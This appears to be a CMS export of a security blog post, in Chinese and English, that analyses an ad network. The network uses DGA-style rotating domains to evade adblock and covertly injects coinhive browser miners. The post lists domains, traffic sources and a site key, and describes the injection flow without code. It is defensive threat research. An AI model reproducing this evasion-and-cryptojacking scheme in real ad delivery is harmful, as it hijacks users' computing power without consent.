href="https://www.google.com.hk/search?newwindow=1&amp;safe=strict&amp;q=anti+adblock&amp;spell=1&amp;sa=X&amp;ved=0ahUKEwiPvMn31prYAhVIopQKHR1mCHMQvwUIIigA&amp;biw=1920&amp;bih=1067">https://www.google.com.hk/search?newwindow=1&amp;safe=strict&amp;q=anti+adblock&amp;spell=1&amp;sa=X&amp;ved=0ahUKEwiPvMn31prYAhVIopQKHR1mCHMQvwUIIigA&amp;biw=1920&amp;bih=1067</a></li> <li><a href="https://www.reddit.com/r/firefox/comments/4wpd23/popads_just_announced_that_they_have_a_new_method/">https://www.reddit.com/r/firefox/comments/4wpd23/popads_just_announced_that_they_have_a_new_method/</a></li> <li><a href="https://github.com/Yhonay/antipopads/blob/master/hosts">https://github.com/Yhonay/antipopads/blob/master/hosts</a></li> <li><a href="http://www.infzm.com/content/131666">http://www.infzm.com/content/131666</a></li> <li><a href="http://hackernews.cc/archives/14794">http://hackernews.cc/archives/14794</a></li> <li><a href="https://censys.io/domain?q=%22coinhive.min.js%22">https://censys.io/domain?q=&quot;coinhive.min.js&quot;</a></li> </ol> <!--kg-card-end: markdown-->

我们最近注意到，某在线网络广告商会将来自 coinhive 的javascript网页挖矿程序，插入到自己广告平台中，利用最终用户的浏览器算力，挖取比特币获利。 P公司是一家在线广告网络公司，负责完成广告和广告位之间的匹配，并从中获取收入；Adblock 是一种浏览器插件，用户可以利用来屏蔽广告。显然，上述两者之间有长久的利益冲突和技术对抗。 在2017-09之前，我们就注意到 P公司 会利用类似 DGA 的技术，生成一组看似随机的域名，绕过 adblock，从而保证其投放的广告能够到达最终用户，我们将这组域名称为 DGA.popad。 从2017-12开始，我们观察到P公司开始利用这些 DGA.popad 域名，插入挖矿代码牟利。 广告网络公司与广告屏蔽插件之间的对抗并不是新鲜事，但是广告网络公司参与到眼下流行的网页挖矿，这值得引起我们的注意。 P公司背景简介 P公司是一家在线广告网络（adnetwork）公司。所谓在线网络公司，其主要工作是连接广告主（advertiser）和媒体（publisher），聚合publisher提供的广告位，并与广告主的需求进行匹配。它们的关系可以从下图简单说明，更多关于Adnetwork的信息请参考[1]： Adblock是一个浏览器广告屏蔽插件。由于可以用来屏蔽广告，所以与上述在线广告网络公司是有利益冲突的。但是因为屏蔽不必要的广告可以提高用户体验，所以也获得了相当多的用户，按照adblock 在Chrome商店中的说法，其用户数量超过4千万。 利益冲突带来了技术对抗，不同广告商采用了多种技术来对抗adblock[2]及其同类工具。P公司的做法是利用一组看似随机的域名，我们在2017-09以前注意到了这一点，并称其为DGA.popad。 DGA.popad是利用类似DGA（Domain Generation Algorithm）的技术生成的，不容易被adblock之类的工具拦截[3]。部分域名如下表所示，其泛化表达形式为[a-z]{8,14}.(bid|com)。github上有人开源了一个项目[4]，列出P公司正在使用的DGA域名，可以导入到adblock。 zyleqnzmvupg.com zylokfmgrtzv.com zymaevtin.bid zzevmjynoljz.bid zziblxasbl.bid zzvjaqnkq.bid zzwzjidz.bid 有运维pDNS的朋友可以试试看，你们的库中应该存在大量的DGA.popad。 注意到至少从2017-12开始，P公司开始利用 DGA.popad挖矿 从2017-Q4开始，网页挖矿逐渐成为安全社区关注的焦点。网页挖矿的本质是利用某些网站提供的javascript脚本，利用用户终端浏览器算力获取比特币或者其他代币。有若干大站被报道牵涉其中，比如中国的南方周末[5]以及知名的海盗湾[6]。 DGA.popad 系列域名，在2017-09被我们初次注意到时，是可以确定并没有参与网页挖矿的。但是从2017-12，我们对全网网页挖矿情况做度量时（见之前文章 是谁悄悄偷走我的电 一 和 二 ），发现这些域名开始参与挖矿。 被我们注意到的原因也很简单，这些域名与coinhive.com系列域名有紧密的关系，可以确认投递了coinhive.min.js挖矿程序，并且在alexa域名排名中的位置比较高。熟悉我们的读者还记得，我们在之前的文章里已经提到，alexa Top 30万域名中挖矿相关的网站已经被我们监控。 依据censys的数据，这些域名的 alexa 排名分别是： 1999 arfttojxv.com 2011 vimenhhpqnb.com 2071 ftymjfywuyv.com 2192 wpqmptpavn.com 2442 buhxsaifjxupaj.com 2965 jeksffryglas.com 3026 wkmuxmlk.com 为了确认上述挖矿事实，我们尝试了访问 DGA.popad 系列域名之一 jccdpudtb.bid。在打开页面的瞬间，CPU利用已经飙升到100%，如下图所示。 并且我们确认，访问 DGA.popad 网站的favicon.ico文件时，实际返回的，也是挖矿脚本。如下图所示： DGA.popad 系列网站网页挖矿的流量来源 由于广告网络涉及到众多不同利益相关方，事件分析过程需要完整且精确。第一步需要 搞清楚挖矿相关的流量来源。我们利用 DNSmon 系统，查找了过去两个月DGA.popad的历史关联域名，发现数据源主要集中在色情站以及bt下载资源站。具体的关联域名如下： www.javjunkies.com hitomi.la btdb.to ouo.io www.torrentkitty.tv www.jkforum.net rarbg.is hpjav.com theporndude.com www.veporn.live www.thisav.com watchjavonline.com syndication.exosrv.com svscomics.com openload.co ancensored.com www.javdoe.com torrentsgroup.com ouo.press javfor.me img.yt www.viralvideos.pro www.jisutiyu.com www.javqd.com www.freebunker.com www5.javmost.com v.pptv.com syndication.exdynsrv.com sukebei.nyaa.si streamango.com sharemods.com popjav.com ho.lazada.com.my fmovies.pe faptitans.com dzyqqwixizp.com dailyuploads.net 详细流程分析 我们以上面列表中的第一个域名www.javjunkies.com来实际看看整个数据流程是怎么样的。由于DGA.popad 和 adblock 之间存在对抗，是否开启adblock，对应的流程有细微的区别，下面我们分两节分别描述其过程。 不开启adblock 其流程如下： * 1 第237帧开始访问www.javjunkies.com/main/，这是一个色情站，其页面上的广告位代码会引导用户浏览器访问P公司旗下网站。 * 2 第254帧开始请求serve.popads.net，这是P公司的标准做法。这一帧里会获取对应广告的链接。 * 3 上述获得的广告链链接是经过base64编码的，在浏览器端被解码后，我们可以看到在268帧发出了对该广告链接的请求。268帧是从获取到的广告链接中得到最终的广告URI，从268帧的应答内容来看（红框高亮处），除了获取到最终广告的URI之外，另外附带了一个获取coinhive.min.js脚本并执行的过程，在用户不知情的情况下开始利用广告网络来挖矿。 开启adblock 开启adblock的流程和不开启adblock的流程类似，不同只是承载广告功能的域名由serve.popads.net转为tncexvzu.com（DGA.popad 系列域名之一）。整个流程如下： * 1 第449帧，再一次开始访问www.javjunkies.com * 2 由于开启了adblock，所以P公司的标准网站serve.popads.net会被屏蔽，但是广告位上的js代码会使用DGA.popad 系列域名之一tncexvzu.com来替代。我们可以在第486帧观察到这一点。除此之外的其他功能都与上一节中的描述类似。 * 3第495帧里，浏览器开始加载广告，并随即执行广告后附加的挖矿脚本代码。这里也与上一节情况基本一致。 DGA.popad 系列网站的挖矿的影响范围和挖矿收益 影响范围： * 上述P公司利用广告网络挖矿盈利的行为至少从2017年12月就开始了 * 受此影响的用户范围较大，因为对应的 DGA.popad 网站的alexa排名较高 * 但是无法做定量的估算，这是因为，虽然我们可以利用 DNSMon 确认有哪些网站的流量会流经 DGA.popad 和 serve.popads.net 网站，但是我们注意到并非所有的流量中都会被插入网页挖矿程序，而且目前我们尚不确定具体哪些流量会被选中、哪些被过滤 挖矿收益不确定： * T3z562MP2Zg1lIa7RUJy19d67woeZmJJ，这个是我们在分析过程中最常遇到的P公司所使用的 site_key，coinhive会把挖矿收益都计入这个账户 * 但是由于coinhive和门罗币的机制，无法查询到这个site key对应的钱包地址，也无法进一步确认目前的收益。 后续我们会继续关注此类域名的行为，如果您有这方面更详细的数据，也请欢迎向我们反馈。 参考链接 1. https://en.wikipedia.org/wiki/Advertising_network 2. https://www.google.com.hk/search?newwindow=1&safe=strict&q=anti+adblock&spell=1&sa=X&ved=0ahUKEwiPvMn31prYAhVIopQKHR1mCHMQvwUIIigA&biw=1920&bih=1067 3. https://www.reddit.com/r/firefox/comments/4wpd23/popads_just_announced_that_they_have_a_new_method/ 4. https://github.com/Yhonay/antipopads/blob/master/hosts 5. http://www.infzm.com/content/131666 6. http://hackernews.cc/archives/14794 7. https://censys.io/domain?q="coinhive.min.js"

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"\n我们最近注意到，某在线网络广告商会将来自 coinhive 的javascript网页挖矿程序，插入到自己广告平台中，利用最终用户的浏览器算力，挖取比特币获利。\n\nP公司是一家在线广告网络公司，负责完成广告和广告位之间的匹配，并从中获取收入；Adblock 是一种浏览器插件，用户可以利用来屏蔽广告。显然，上述两者之间有长久的利益冲突和技术对抗。\n\n在2017-09之前，我们就注意到 P公司 会利用类似 DGA 的技术，生成一组看似随机的域名，绕过 adblock，从而保证其投放的广告能够到达最终用户，我们将这组域名称为 DGA.popad。\n\n从2017-12开始，我们观察到P公司开始利用这些 DGA.popad 域名，插入挖矿代码牟利。\n\n广告网络公司与广告屏蔽插件之间的对抗并不是新鲜事，但是广告网络公司参与到眼下流行的网页挖矿，这值得引起我们的注意。\n\n#### P公司背景简介\n\nP公司是一家在线广告网络（adnetwork）公司。所谓在线网络公司，其主要工作是连接广告主（advertiser）和媒体（publisher），聚合publisher提供的广告位，并与广告主的需求进行匹配。它们的关系可以从下图简单说明，更多关于Adnetwork的信息请参考[1]：\n \n\n\nAdblock是一个浏览器广告屏蔽插件。由于可以用来屏蔽广告，所以与上述在线广告网络公司是有利益冲突的。但是因为屏蔽不必要的广告可以提高用户体验，所以也获得了相当多的用户，按照adblock 在Chrome商店中的说法，其用户数量超过4千万。\n\n\n\n利益冲突带来了技术对抗，不同广告商采用了多种技术来对抗adblock[2]及其同类工具。P公司的做法是利用一组看似随机的域名，我们在2017-09以前注意到了这一点，并称其为DGA.popad。\n\nDGA.popad是利用类似DGA（Domain Generation Algorithm）的技术生成的，不容易被adblock之类的工具拦截[3]。部分域名如下表所示，其泛化表达形式为[a-z]{8,14}\\.(bid|com)。github上有人开源了一个项目[4]，列出P公司正在使用的DGA域名，可以导入到adblock。\n\n```\nzyleqnzmvupg.com\nzylokfmgrtzv.com\nzymaevtin.bid\nzzevmjynoljz.bid\nzziblxasbl.bid\nzzvjaqnkq.bid\nzzwzjidz.bid\n```\n有运维pDNS的朋友可以试试看，你们的库中应该存在大量的DGA.popad。\n\n#### 注意到至少从2017-12开始，P公司开始利用 DGA.popad挖矿\n\n从2017-Q4开始，网页挖矿逐渐成为安全社区关注的焦点。网页挖矿的本质是利用某些网站提供的javascript脚本，利用用户终端浏览器算力获取比特币或者其他代币。有若干大站被报道牵涉其中，比如中国的南方周末[5]以及知名的海盗湾[6]。\n\nDGA.popad 系列域名，在2017-09被我们初次注意到时，是可以确定并没有参与网页挖矿的。但是从2017-12，我们对全网网页挖矿情况做度量时（见之前文章 是谁悄悄偷走我的电 [一](__GHOST_URL__/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon/) 和 [二](__GHOST_URL__/https-blog-netlab-360-com-the-list-of-top-alexa-websites-with-web-mining-code-embedded-on-their-homepage-cn/) ），发现这些域名开始参与挖矿。\n\n被我们注意到的原因也很简单，这些域名与coinhive.com系列域名有紧密的关系，可以确认投递了coinhive.min.js挖矿程序，并且在alexa域名排名中的位置比较高。熟悉我们的读者还记得，我们在之前的文章里已经提到，alexa Top 30万域名中挖矿相关的网站已经被我们监控。\n\n依据censys的数据，这些域名的 alexa 排名分别是：\n\n```\n1999 arfttojxv.com\n2011 vimenhhpqnb.com\n2071 ftymjfywuyv.com\n2192 wpqmptpavn.com\n2442 buhxsaifjxupaj.com\n2965 jeksffryglas.com\n3026 wkmuxmlk.com\n```\n\n\n\n为了确认上述挖矿事实，我们尝试了访问 DGA.popad 系列域名之一 jccdpudtb.bid。在打开页面的瞬间，CPU利用已经飙升到100%，如下图所示。\n \n\n\n\n并且我们确认，访问 DGA.popad 网站的favicon.ico文件时，实际返回的，也是挖矿脚本。如下图所示：\n \n\n\n#### DGA.popad 系列网站网页挖矿的流量来源\n\n由于广告网络涉及到众多不同利益相关方，事件分析过程需要完整且精确。第一步需要\n搞清楚挖矿相关的流量来源。我们利用 DNSmon 系统，查找了过去两个月DGA.popad的历史关联域名，发现数据源主要集中在色情站以及bt下载资源站。具体的关联域名如下：\n\n```\nwww.javjunkies.com\nhitomi.la\nbtdb.to\nouo.io\nwww.torrentkitty.tv\nwww.jkforum.net\nrarbg.is\nhpjav.com\ntheporndude.com\nwww.veporn.live\nwww.thisav.com\nwatchjavonline.com\nsyndication.exosrv.com\nsvscomics.com\nopenload.co\nancensored.com\nwww.javdoe.com\ntorrentsgroup.com\nouo.press\njavfor.me\nimg.yt\nwww.viralvideos.pro\nwww.jisutiyu.com\nwww.javqd.com\nwww.freebunker.com\nwww5.javmost.com\nv.pptv.com\nsyndication.exdynsrv.com\nsukebei.nyaa.si\nstreamango.com\nsharemods.com\npopjav.com\nho.lazada.com.my\nfmovies.pe\nfaptitans.com\ndzyqqwixizp.com\ndailyuploads.net\n```\n\n#### 详细流程分析\n\n我们以上面列表中的第一个域名www.javjunkies.com来实际看看整个数据流程是怎么样的。由于DGA.popad 和 adblock 之间存在对抗，是否开启adblock，对应的流程有细微的区别，下面我们分两节分别描述其过程。\n\n###### 不开启adblock\n\n其流程如下：\n\n-\t#1 第237帧开始访问www.javjunkies.com/main/，这是一个色情站，其页面上的广告位代码会引导用户浏览器访问P公司旗下网站。\n-\t#2 第254帧开始请求serve.popads.net，这是P公司的标准做法。这一帧里会获取对应广告的链接。 \n-\t#3 上述获得的广告链链接是经过base64编码的，在浏览器端被解码后，我们可以看到在268帧发出了对该广告链接的请求。268帧是从获取到的广告链接中得到最终的广告URI，从268帧的应答内容来看（红框高亮处），除了获取到最终广告的URI之外，另外附带了一个获取coinhive.min.js脚本并执行的过程，在用户不知情的情况下开始利用广告网络来挖矿。\n\n\n\n\n\n###### 开启adblock\n\n开启adblock的流程和不开启adblock的流程类似，不同只是承载广告功能的域名由serve.popads.net转为tncexvzu.com（DGA.popad 系列域名之一）。整个流程如下：\n\n-\t#1 第449帧，再一次开始访问www.javjunkies.com\n-\t#2 由于开启了adblock，所以P公司的标准网站serve.popads.net会被屏蔽，但是广告位上的js代码会使用DGA.popad 系列域名之一tncexvzu.com来替代。我们可以在第486帧观察到这一点。除此之外的其他功能都与上一节中的描述类似。\n-\t#3第495帧里，浏览器开始加载广告，并随即执行广告后附加的挖矿脚本代码。这里也与上一节情况基本一致。\n\n\n\n\n#### DGA.popad 系列网站的挖矿的影响范围和挖矿收益\n\n影响范围：\n\n-\t上述P公司利用广告网络挖矿盈利的行为至少从2017年12月就开始了\n-\t受此影响的用户范围较大，因为对应的 DGA.popad 网站的alexa排名较高\n-\t但是无法做定量的估算，这是因为，虽然我们可以利用 DNSMon 确认有哪些网站的流量会流经 DGA.popad 和 serve.popads.net 网站，但是我们注意到并非所有的流量中都会被插入网页挖矿程序，而且目前我们尚不确定具体哪些流量会被选中、哪些被过滤\n\n挖矿收益不确定： \n\n-\tT3z562MP2Zg1lIa7RUJy19d67woeZmJJ，这个是我们在分析过程中最常遇到的P公司所使用的 site_key，coinhive会把挖矿收益都计入这个账户\n-\t但是由于coinhive和门罗币的机制，无法查询到这个site key对应的钱包地址，也无法进一步确认目前的收益。\n\n后续我们会继续关注此类域名的行为，如果您有这方面更详细的数据，也请欢迎向我们反馈。\n\n#### 参考链接\n1.\thttps://en.wikipedia.org/wiki/Advertising_network\n2.\thttps://www.google.com.hk/search?newwindow=1&safe=strict&q=anti+adblock&spell=1&sa=X&ved=0ahUKEwiPvMn31prYAhVIopQKHR1mCHMQvwUIIigA&biw=1920&bih=1067\n3.\thttps://www.reddit.com/r/firefox/comments/4wpd23/popads\\_just\\_announced\\_that\\_they\\_have\\_a\\_new\\_method/\n4.\thttps://github.com/Yhonay/antipopads/blob/master/hosts\n5.\thttp://www.infzm.com/content/131666\n6.\thttp://hackernews.cc/archives/14794\n7.\thttps://censys.io/domain?q=%22coinhive.min.js%22\n"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

99

post

2018-02-24T02:45:27.000Z

63873b9a8b1c1e0007f52f16

who-is-stealing-my-power-iii-an-adnetwork-company-case-study-en

2018-10-06T09:12:49.000Z

public

published

2018-02-24T08:26:48.000Z

Who is Stealing My Power III: An Adnetwork Company Case Study

<!--kg-card-begin: markdown--><p>We recently noticed that one of the ad network provider started to perform in-browser coinhive cryptojacking when users visit websites which use this provider’s ad network service.</p> <p>As early as mid 2017, this ad network provider has been using domain DGA technology to generate seemingly random domains to bypass adblock to ensure that the ads it serves can reach the end users. The typical domains look like this : [az]{8,14}.(bid|com), we call it <strong>DGA.popad</strong>.</p> <p>Starting from 2017-12, the bar got raised again and we began to see these DGA.popad domains participating in cryptojacking without end-users acknowledgement.</p> <p>The confrontation between ad network companies and ad blocking plug-ins is nothing new, but ad network participating web mining using dga domains deserves our attention.</p> <h4 id="thisadnetworkproviderinanutshell">This Ad Network Provider in a Nut Shell</h4> <p>As this simple figure shows, most of the advertisements are provided by ad network companies when users visit websites, ad network acts as an important bridge between advertisers and publishers(the website users visit). For more information about Adnetwork please refer to [1].</p> <p><img src="__GHOST_URL__/content/images/2018/02/ads-network.png" alt="" loading="lazy"></p> <p>Advertisement in internet is so popular in nowadays, that you can be quite sure most top content site will not only serve numerous visitors the content, but also redirect the traffic to some adnetwork company to sell advertisement. Through this traffic, an adnetwork company technically can deliver anything to the end-users, good, bad, or ugly.</p> <p>On the other side, most end users do not like advertisement very much when they browse websites, that is why plug-ins like adblock are so popular. As declared in Chrome Store, the adblock plug-in owns 40 million users.</p> <p><img src="__GHOST_URL__/content/images/2018/02/ad-block.png" alt="" loading="lazy"></p> <p>However, adnetwork providers are not so keen about this idea as this surely impact their profitability. So, to avoid being blocked, this ad network provider uses dga domains to host its advertisements. As these DGA.popad domain names are not fixed and changed daily, blocking them become more difficult.</p> <p>Part of these <strong>DGA.popad</strong> domains are shown as below. For those who don’t have necessary resource to track these domains, this <a href="https://github.com/Yhonay/antipopads/blob/master/hosts"><strong>GitHub page</strong></a> lists the DGA.popad domain names this ad network provider uses.</p> <pre><code>zyleqnzmvupg.com zylokfmgrtzv.com zymaevtin.bid zzevmjynoljz.bid zziblxasbl.bid zzvjaqnkq.bid zzwzjidz.bid </code></pre> <h4 id="startingfrom201712dgapopadareusedforcoinhivecryptojacking">Starting from 2017-12, DGA.popad Are Used for Coinhive Cryptojacking</h4> <p>We know in-browser cryptojacking uses JavaScript from providers, on a web page to mine for cryptocurrencies. There has been some top websites such as Pirate Bay [6] being reported to mine cryptocurrency by leveraging end users’ computing power when the users visit their webpages.</p> <p>In this case, these DGA.popad domains were found performing cryptojacking when we were doing an internet scale web mining measurement, and monitoring on Alexa top 300k domains, described in our previous blogs <a href="__GHOST_URL__/who-is-stealing-my-power-web-mining-domains-measurement-via-dnsmon">here</a> and <a href="__GHOST_URL__/https-blog-netlab-360-com-the-list-of-top-alexa-websites-with-web-mining-code-embedded-on-their-homepage-cn/">here</a>.</p> <p>During our measurement, we found these DGA.popad domains:</p> <ul> <li>having a strong connection with coinhive family domains in DNS traffic</li> <li>serving coinhive.min.js web miner from coinhive family</li> <li>at least since December 2017</li> <li>ranking as high as around 2000 in Alexa top site list. For example, arfttojxv.com ranks 1999 according to Censys:</li> </ul> <pre><code>1999 arfttojxv.com 2011 vimenhhpqnb.com 2071 ftymjfywuyv.com 2192 wpqmptpavn.com 2442 buhxsaifjxupaj.com 2965 jeksffryglas.com 3026 wkmuxmlk.com </code></pre> <p><img src="__GHOST_URL__/content/images/2018/02/web-mining-sites-with-dga-popad-highlighted.png" alt="" loading="lazy"></p> <p>For a fact check, we tried to visit one of this website, the moment we load the page, CPU utilization soared to 100%:</p> <p><img src="__GHOST_URL__/content/images/2018/02/cpu_usage_when_open_jccdpudtb.bid.png" alt="" loading="lazy"></p> <p>And we also noticed that the favicon.ico from the DGA.popad sites also runs as a web miner. As shown below:</p> <p><img src="__GHOST_URL__/content/images/2018/02/favicon_also_used_to_diliver_web_miner.png" alt="" loading="lazy"></p> <h4 id="thetrafficsourceofthesedgapopaddomains">The Traffic Source of These DGA.popad Domains</h4> <p>By using our DNSMon system, we can find the content websites which the end users first visit and then redirected to DGA.popad domains. We looked up the history of the last two months, and the result suggests that the majority of these impacted are websites providing porn and downloading services. Some of the domain names are as follows:</p> <pre><code>www.javjunkies.com hitomi.la btdb.to ouo.io www.torrentkitty.tv www.jkforum.net rarbg.is hpjav.com theporndude.com www.veporn.live www.thisav.com watchjavonline.com syndication.exosrv.com svscomics.com openload.co ancensored.com www.javdoe.com torrentsgroup.com ouo.press javfor.me img.yt www.viralvideos.pro www.jisutiyu.com www.javqd.com www.freebunker.com www5.javmost.com v.pptv.com syndication.exdynsrv.com sukebei.nyaa.si streamango.com sharemods.com popjav.com ho.lazada.com.my fmovies.pe faptitans.com dzyqqwixizp.com dailyuploads.net </code></pre> <h4 id="adetailedprocessdescription">A Detailed Process Description</h4> <p>Let's take a close look at the whole data flow using the first website in the list. To illustrate how this provider works around adblock, let’s run two different scenarios, first without adblock, then with adblock on.</p> <h6 id="withadblockdisabled">With Adblock Disabled</h6> <p>The process is as follows:</p> <ul> <li><strong>#1</strong> No. 237 visit <strong>www.javjunkies.com</strong>/main/. This is a porn site, the java-script at the page's ads position will try to visit this provider's domain.</li> <li><strong>#2</strong> No. 254 a request to <strong>serve.popads.net</strong>, a standard domain hosted by this provider. Here it is trying to get a URL for the coming advertisement.</li> <li><strong>#3</strong> No. 268 will try to request for the ad link to get the final advertisement URI, (red box highlighted). Note in addition to get the final advertisement URI, there is also a script to get <strong>coinhive.min.js</strong>, so cryptojacking will happen.</li> </ul> <p><img src="__GHOST_URL__/content/images/2018/02/adblock-disabled--1-from-javajunkies.com-to-popads.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2018/02/adblock-disabled--2-from-popads-get-web-miner.png" alt="" loading="lazy"></p> <h6 id="withadblockenabled">With Adblock Enabled</h6> <p>Most of the steps are the same with above scenario, but with adblock on, serve.popads.net is replaced with one of the <strong>DGA.popad</strong> domain to serve the advertisement. The whole process is as follows:</p> <ul> <li><strong>#1</strong> No. 449, another request to <strong>www.javjunkies.com</strong></li> <li><strong>#2</strong> Since adblock is enabled, domain serve.popad.net was blocked. 
This provider's js code will switched to one of the DGA.popad domain name <strong>tncexvzu.com</strong>. No.486 is a request for the ad link to get the final advertisement URI</li> <li><strong>#3</strong> No.495 will load the advertisement, as well as the cryptojacking.</li> </ul> <p><img src="__GHOST_URL__/content/images/2018/02/adblock-enabled--1-from-javajunkies.com-to-popads.png" alt="" loading="lazy"><br> <img src="__GHOST_URL__/content/images/2018/02/adblock-enabled--2-from-popads-get-web-miner.png" alt="" loading="lazy"></p> <h4 id="theimpactandminingprofitsofdgapopaddomains">The Impact and Mining Profits of DGA.popad Domains</h4> <p>The Impact:</p> <ul> <li>These cryptojacking actions started at least since December 2017</li> <li>The affected users may be quite a lot, since these DGA.popad domains have as high as <strong>Alexa scores around 2000</strong></li> <li>We are not able to make a detailed assessment. This is because only part of all the traffic passing DGA.popad and serve.popads.net will be inserted a web miner, but we are not sure which part will be selected, for now.</li> </ul> <p>We have no idea about the mining profits:</p> <ul> <li>We do make sure <strong>T3z562MP2Zg1lIa7RUJy19d67woeZmJJ</strong> is the most used site_key by this ad provider.</li> <li>But we cannot find the related wallet address, or the profits, according to coinhive and Monero's policy.</li> </ul> <p>We will continue to keep an eye on such domain name behavior, if you have more detailed or insights, please feel free to ping us on <a href="https://twitter.com/360Netlab">twitter</a> or leave a message.</p> <h4 id="references">References</h4> <ol> <li><a href="https://en.wikipedia.org/wiki/Advertising_network">https://en.wikipedia.org/wiki/Advertising_network</a></li> <li><a href="https://www.google.com.hk/search?newwindow=1&amp;safe=strict&amp;q=anti+adblock&amp;spell=1&amp;sa=X&amp;ved=0ahUKEwiPvMn31prYAhVIopQKHR1mCHMQvwUIIigA&amp;biw=1920&amp;bih=1067">https://www.google.com.hk/search?newwindow=1&amp;safe=strict&amp;q=anti+adblock&amp;spell=1&amp;sa=X&amp;ved=0ahUKEwiPvMn31prYAhVIopQKHR1mCHMQvwUIIigA&amp;biw=1920&amp;bih=1067</a></li> <li><a href="https://www.reddit.com/r/firefox/comments/4wpd23/popads_just_announced_that_they_have_a_new_method/">https://www.reddit.com/r/firefox/comments/4wpd23/popads_just_announced_that_they_have_a_new_method/</a></li> <li><a href="https://github.com/Yhonay/antipopads/blob/master/hosts">https://github.com/Yhonay/antipopads/blob/master/hosts</a></li> <li><a href="http://www.infzm.com/content/131666">http://www.infzm.com/content/131666</a></li> <li><a href="http://hackernews.cc/archives/14794">http://hackernews.cc/archives/14794</a></li> <li><a href="https://censys.io/domain?q=%22coinhive.min.js%22">https://censys.io/domain?q=&quot;coinhive.min.js&quot;</a></li> </ol> <!--kg-card-end: markdown-->

We recently noticed that one of the ad network provider started to perform in-browser coinhive cryptojacking when users visit websites which use this provider’s ad network service. As early as mid 2017, this ad network provider has been using domain DGA technology to generate seemingly random domains to bypass adblock to ensure that the ads it serves can reach the end users. The typical domains look like this : [az]{8,14}.(bid|com), we call it DGA.popad. Starting from 2017-12, the bar got raised again and we began to see these DGA.popad domains participating in cryptojacking without end-users acknowledgement. The confrontation between ad network companies and ad blocking plug-ins is nothing new, but ad network participating web mining using dga domains deserves our attention. This Ad Network Provider in a Nut Shell As this simple figure shows, most of the advertisements are provided by ad network companies when users visit websites, ad network acts as an important bridge between advertisers and publishers(the website users visit). For more information about Adnetwork please refer to [1]. Advertisement in internet is so popular in nowadays, that you can be quite sure most top content site will not only serve numerous visitors the content, but also redirect the traffic to some adnetwork company to sell advertisement. Through this traffic, an adnetwork company technically can deliver anything to the end-users, good, bad, or ugly. On the other side, most end users do not like advertisement very much when they browse websites, that is why plug-ins like adblock are so popular. As declared in Chrome Store, the adblock plug-in owns 40 million users. However, adnetwork providers are not so keen about this idea as this surely impact their profitability. So, to avoid being blocked, this ad network provider uses dga domains to host its advertisements. As these DGA.popad domain names are not fixed and changed daily, blocking them become more difficult. Part of these DGA.popad domains are shown as below. For those who don’t have necessary resource to track these domains, this GitHub page lists the DGA.popad domain names this ad network provider uses. zyleqnzmvupg.com zylokfmgrtzv.com zymaevtin.bid zzevmjynoljz.bid zziblxasbl.bid zzvjaqnkq.bid zzwzjidz.bid Starting from 2017-12, DGA.popad Are Used for Coinhive Cryptojacking We know in-browser cryptojacking uses JavaScript from providers, on a web page to mine for cryptocurrencies. There has been some top websites such as Pirate Bay [6] being reported to mine cryptocurrency by leveraging end users’ computing power when the users visit their webpages. In this case, these DGA.popad domains were found performing cryptojacking when we were doing an internet scale web mining measurement, and monitoring on Alexa top 300k domains, described in our previous blogs here and here. During our measurement, we found these DGA.popad domains: * having a strong connection with coinhive family domains in DNS traffic * serving coinhive.min.js web miner from coinhive family * at least since December 2017 * ranking as high as around 2000 in Alexa top site list. For example, arfttojxv.com ranks 1999 according to Censys: 1999 arfttojxv.com 2011 vimenhhpqnb.com 2071 ftymjfywuyv.com 2192 wpqmptpavn.com 2442 buhxsaifjxupaj.com 2965 jeksffryglas.com 3026 wkmuxmlk.com For a fact check, we tried to visit one of this website, the moment we load the page, CPU utilization soared to 100%: And we also noticed that the favicon.ico from the DGA.popad sites also runs as a web miner. As shown below: The Traffic Source of These DGA.popad Domains By using our DNSMon system, we can find the content websites which the end users first visit and then redirected to DGA.popad domains. We looked up the history of the last two months, and the result suggests that the majority of these impacted are websites providing porn and downloading services. Some of the domain names are as follows: www.javjunkies.com hitomi.la btdb.to ouo.io www.torrentkitty.tv www.jkforum.net rarbg.is hpjav.com theporndude.com www.veporn.live www.thisav.com watchjavonline.com syndication.exosrv.com svscomics.com openload.co ancensored.com www.javdoe.com torrentsgroup.com ouo.press javfor.me img.yt www.viralvideos.pro www.jisutiyu.com www.javqd.com www.freebunker.com www5.javmost.com v.pptv.com syndication.exdynsrv.com sukebei.nyaa.si streamango.com sharemods.com popjav.com ho.lazada.com.my fmovies.pe faptitans.com dzyqqwixizp.com dailyuploads.net A Detailed Process Description Let's take a close look at the whole data flow using the first website in the list. To illustrate how this provider works around adblock, let’s run two different scenarios, first without adblock, then with adblock on. With Adblock Disabled The process is as follows: * #1 No. 237 visit www.javjunkies.com/main/. This is a porn site, the java-script at the page's ads position will try to visit this provider's domain. * #2 No. 254 a request to serve.popads.net, a standard domain hosted by this provider. Here it is trying to get a URL for the coming advertisement. * #3 No. 268 will try to request for the ad link to get the final advertisement URI, (red box highlighted). Note in addition to get the final advertisement URI, there is also a script to get coinhive.min.js, so cryptojacking will happen. With Adblock Enabled Most of the steps are the same with above scenario, but with adblock on, serve.popads.net is replaced with one of the DGA.popad domain to serve the advertisement. The whole process is as follows: * #1 No. 449, another request to www.javjunkies.com * #2 Since adblock is enabled, domain serve.popad.net was blocked. 
This provider's js code will switched to one of the DGA.popad domain name tncexvzu.com. No.486 is a request for the ad link to get the final advertisement URI * #3 No.495 will load the advertisement, as well as the cryptojacking. The Impact and Mining Profits of DGA.popad Domains The Impact: * These cryptojacking actions started at least since December 2017 * The affected users may be quite a lot, since these DGA.popad domains have as high as Alexa scores around 2000 * We are not able to make a detailed assessment. This is because only part of all the traffic passing DGA.popad and serve.popads.net will be inserted a web miner, but we are not sure which part will be selected, for now. We have no idea about the mining profits: * We do make sure T3z562MP2Zg1lIa7RUJy19d67woeZmJJ is the most used site_key by this ad provider. * But we cannot find the related wallet address, or the profits, according to coinhive and Monero's policy. We will continue to keep an eye on such domain name behavior, if you have more detailed or insights, please feel free to ping us on twitter or leave a message. References 1. https://en.wikipedia.org/wiki/Advertising_network 2. https://www.google.com.hk/search?newwindow=1&safe=strict&q=anti+adblock&spell=1&sa=X&ved=0ahUKEwiPvMn31prYAhVIopQKHR1mCHMQvwUIIigA&biw=1920&bih=1067 3. https://www.reddit.com/r/firefox/comments/4wpd23/popads_just_announced_that_they_have_a_new_method/ 4. 